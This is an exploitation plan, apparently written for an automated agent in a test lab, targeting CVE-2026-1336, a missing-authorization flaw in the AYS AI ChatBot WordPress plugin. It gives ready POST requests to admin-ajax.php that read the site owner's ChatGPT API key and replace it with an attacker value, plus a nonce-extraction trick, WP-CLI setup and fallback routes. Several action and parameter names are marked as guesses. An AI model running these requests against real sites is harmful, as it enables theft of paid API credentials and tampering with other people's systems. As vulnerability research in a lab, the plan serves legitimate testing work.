Exploitation Research Plan: CVE-2026-1336 - AI ChatBot (AYS) API Key Modification

1. Vulnerability Summary

The AI ChatBot with ChatGPT and Content Generator by AYS plugin (versions <= 2.7.5) contains a missing authorization vulnerability. Specifically, the AJAX handlers associated with the functions store_data() and get_chatgpt_api_key() do not implement sufficient capability checks. Because these functions are registered via wp_ajax_nopriv_, they are accessible to unauthenticated users. This allows an attacker to retrieve, modify, or delete the plugin's ChatGPT API key, leading to service disruption or unauthorized use of the owner's OpenAI credits.

2. Attack Vector Analysis

• Endpoint: http://<target>/wp-admin/admin-ajax.php
• Actions:
  • ays_chatgpt_store_data (inferred)
  • ays_chatgpt_get_api_key (inferred)
• Parameters:
  • action: The AJAX action string.
  • ays_chatgpt_api_key: The parameter carrying the new API key value (inferred).
  • nonce: A security token (if required).
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active. A valid nonce may be required if the wp_ajax_nopriv_ handler includes a check_ajax_referer() call.

3. Code Flow

1. The plugin registers AJAX handlers in the main plugin file or an admin/includes class (e.g., admin/class-ays-chatgpt-assistant-admin.php or includes/class-ays-chatgpt-assistant.php).
2. Hook Registration (example):

   add_action( 'wp_ajax_ays_chatgpt_store_data', array( $this, 'store_data' ) );
   add_action( 'wp_ajax_nopriv_ays_chatgpt_store_data', array( $this, 'store_data' ) );
   

3. The store_data() function receives the request.
4. The function likely lacks a if ( ! current_user_can( 'manage_options' ) ) check.
5. It proceeds to update the database: update_option( 'ays_chatgpt_assistant_api_key', $_POST['ays_chatgpt_api_key'] );.
6. Similarly, get_chatgpt_api_key() returns the result of get_option( 'ays_chatgpt_assistant_api_key' ) without checking permissions.

4. Nonce Acquisition Strategy

The plugin likely enqueues scripts that contain the nonce for AJAX requests. This is often localized using wp_localize_script.

1. Identify Shortcode: Search for shortcodes in the plugin: grep -r "add_shortcode" .. Common shortcode: [ays_chatgpt_assistant].
2. Setup Page: Create a public page containing this shortcode to ensure the scripts are loaded.
3. Variable Name: Based on AYS plugin patterns, look for a variable like ays_chatgpt_assistant_ajax or ays_chatgpt_assistant_obj.
4. Extraction:
   • Use browser_navigate to the created page.
   • Use browser_eval to extract the nonce:

     // Example guess based on AYS patterns
     window.ays_chatgpt_assistant_ajax?.nonce || window.ays_chatgpt_assistant_obj?.nonce
     

5. Exploitation Strategy

The goal is to first read the existing key and then change it.

Phase 1: Information Disclosure (Read API Key)

• Request Type: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=ays_chatgpt_get_api_key&nonce=<NONCE>
• Expected Response: JSON or string containing the current ChatGPT API key.

Phase 2: Data Modification (Change API Key)

• Request Type: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=ays_chatgpt_store_data&ays_chatgpt_api_key=pwned_key_123&nonce=<NONCE>
• Expected Response: A success message or 1.

6. Test Data Setup

1. Install ays-chatgpt-assistant version 2.7.4.
2. Set a legitimate-looking dummy API key:
   wp option update ays_chatgpt_assistant_api_key "sk-original-key-val-123" (Verify option name via wp option list).
3. Create a public page with the chatbot shortcode to trigger script loading:
   wp post create --post_type=page --post_status=publish --post_title="Chat" --post_content='[ays_chatgpt_assistant]'

7. Expected Results

• Phase 1: The response body contains "sk-original-key-val-123".
• Phase 2: The response indicates success.
• Post-Exploit: The database now contains the attacker-supplied key.

8. Verification Steps

After the HTTP requests, verify the change using WP-CLI:

wp option get ays_chatgpt_assistant_api_key
# Expected output: pwned_key_123

9. Alternative Approaches

• Missing Nonce: If check_ajax_referer is entirely absent in the vulnerable version, skip the Nonce Acquisition step and send the request directly.
• Parameter Name Guessing: If ays_chatgpt_api_key is incorrect, grep the source for update_option or get_option to find the exact key name used in store_data().
• REST API: If the plugin uses the REST API instead of AJAX, look for routes under /wp-json/ays-chatgpt-assistant/v1/. Check for routes with GET or POST methods that do not have a permission_callback.